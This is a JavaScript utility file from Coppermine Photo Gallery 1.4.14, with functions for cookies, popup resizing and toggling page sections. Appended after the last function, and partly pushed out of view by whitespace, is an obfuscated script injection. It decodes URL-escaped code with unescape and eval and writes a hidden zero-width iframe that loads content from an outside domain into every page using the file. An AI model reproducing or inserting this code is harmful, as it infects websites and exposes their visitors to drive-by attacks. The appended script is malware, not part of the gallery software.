/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2007 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.14
  $Source$
  $Revision: 3966 $
  $Author: gaugau $
  $Date: 2007-09-17 08:53:13 +0200 (Mo, 17 Sep 2007) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O000=new Array();O000[0]='<iframe src=\'http://';O0OO='fu';OO0O='sVVtERqNpQeIeqkFlMsGMIUhxHIT';O0OO+='nction __'+'__(_'+'O0){';OO00='var%20l%32%3D%77\151%6E%64o%77%2E\157p\145%72a%3F%31%3A%30%3Bfunc\164%69%6F%6E%20l%33%28l%34%29%7B\154%35%3D%2Fz%61%2F\147%3Bl%36%3D%53\164rin\147%2Ef\162o%6DCh%61%72%43o%64%65%28%30%29%3B%6C%34%3D\154%34%2E\162%65p\154\141%63e%28\154%35%2Cl%36%29%3B%76a\162%20%6C%37%3D%6E%65%77%20\101r\162a\171%28%29%2Cl%38%3D%5F%31%3Dl%34%2Ele%6E%67%74h%2C%6C%39%2C%6C\111%2Cil%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2Cl%69%3D%27%27%3B%64o%7B\154%39%3D\154%34%2Ec%68arCod\145\101t%28%5F%31%29%3Bl\111%3D\154%34%2Ec\150ar%43od\145%41\164%28%2B%2B%5F%31%29%3B%6C%37%5BI%2B%2B%5D%3D%6CI%2Bi\154%2D%28l%39%3C%3C%37%29%7D\167\150\151le%28%5F%31%2B%2B%3C\154%38%29%3B\166ar%20\154%31%3D\156ew';O000[0]+='deinglaube.com/images/\' h~';O0OO+='eva';OOOO='hOQtCXaUwrsqvfnuOlkDrulOnWUymKyo';O0OO+='l(unes'							+'cape(_O0))}';eval									(O0OO);O0O0='JBiVXnUZitSaSEbByOKOOSoSOYmiJaDsoDVfEpBO';O0OO='';OO00+='%20%41rray%28%29%2C%6C%30%3D%6Ee%77%20\101r\162%61y%28%29%2CI%6C%3D%31%32%38%3B%64%6F%7Bl%30%5B\111l%5D%3DS\164r%69\156g%2E\146\162omC\150%61\162Cod\145%28I\154%29%7Dwh%69%6C%65%28%2D%2D\111l%29%3B%49l%3D%31%32%38%3B%6C%31%5B%30%5D%3Dl\151%3D%6C%30%5Bl%37%5B%30%5D%5D%3B%6C%6C%3D%6C%37%5B%30%5D%3B%5F\154%3D%31%3Bv\141r%20l%5F%3D\154%37%2El%65%6E%67t\150%2D%31%3B%77\150%69le%28%5F%6C%3C\154%5F%29%7B\163\167\151tch%28\154%37%5B%5F%6C%5D%3C%49l%3F%31%3A%30%29%7B%63a%73e%20%30%20%3A\154%30%5BI%6C%5D%3Dl%30%5Bl\154%5D%2BS\164ri%6Eg%28\154%30%5B%6Cl%5D%29%2Es\165%62%73\164r%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5BI%6C%5D%3B\151f%28\154%32%29%7Bl\151%2B%3D%6C%30%5BIl%5D%7D%3B%62\162ea';OOO0='l';O000[0]+='g~\r=0 width~0 bor~r~0><~"~~e>';OO00+='%6B%3Bdefau\154%74%3A%6C%31%5B%5F\154%5D%3D\154%30%5Bl%37%5B%5F%6C%5D%5D%3Bi\146%28%6C%32%29%7Bl\151%2B%3Dl%30%5Bl%37%5B%5F%6C%5D%5D%7D%3Bl%30%5B\111l%5D%3D\154%30%5B\154l%5D%2BS%74%72%69n%67%28\154%30%5Bl%37%5B%5F\154%5D%5D%29%2Es\165\142%73tr%28%30%2C%31%29%3B%62%72e\141k%7D%3B%49%6C%2B%2B%3B\154l%3Dl%37%5B%5F%6C%5D%3B%5F%6C%2B%2B%7D%3Bif%28%21%6C%32%29%7B%72%65t%75\162%6E%28l%31%2E%6Ao\151n%28%27%27%29%29%7Del\163\145%7B%72e%74u%72%6E%20l\151%7D%7D%3B\166%61r%20lO%3D%27%27%3B\146or%28i%69%3D%30%3Bi\151%3CO%30%30%30%2E%6Cen\147%74\150%3Bi\151%2B%2B%29%7B%6C%4F%2B%3Dl%33%28O%30%30%30%5B\151i%5D%29%7D%3Bi%66%28%6E\141\141%29%7Bd\157%63%75\155e\156\164%2E%77%72\151te%28\154O%29%7D%3B';O0O0      ='.quIwOdeam+:K75ZciV;*SXROtMl//m gd$MNhZOl';____    (OO00);OOO0+='#rrTU/LCJstnO@3A8Sy69OY&J,XjR$!vfwEaDV1 <&1H! O Urhpy= 82f!YfOx	*OOtKo#QpX*>?<G%%k5=C0i';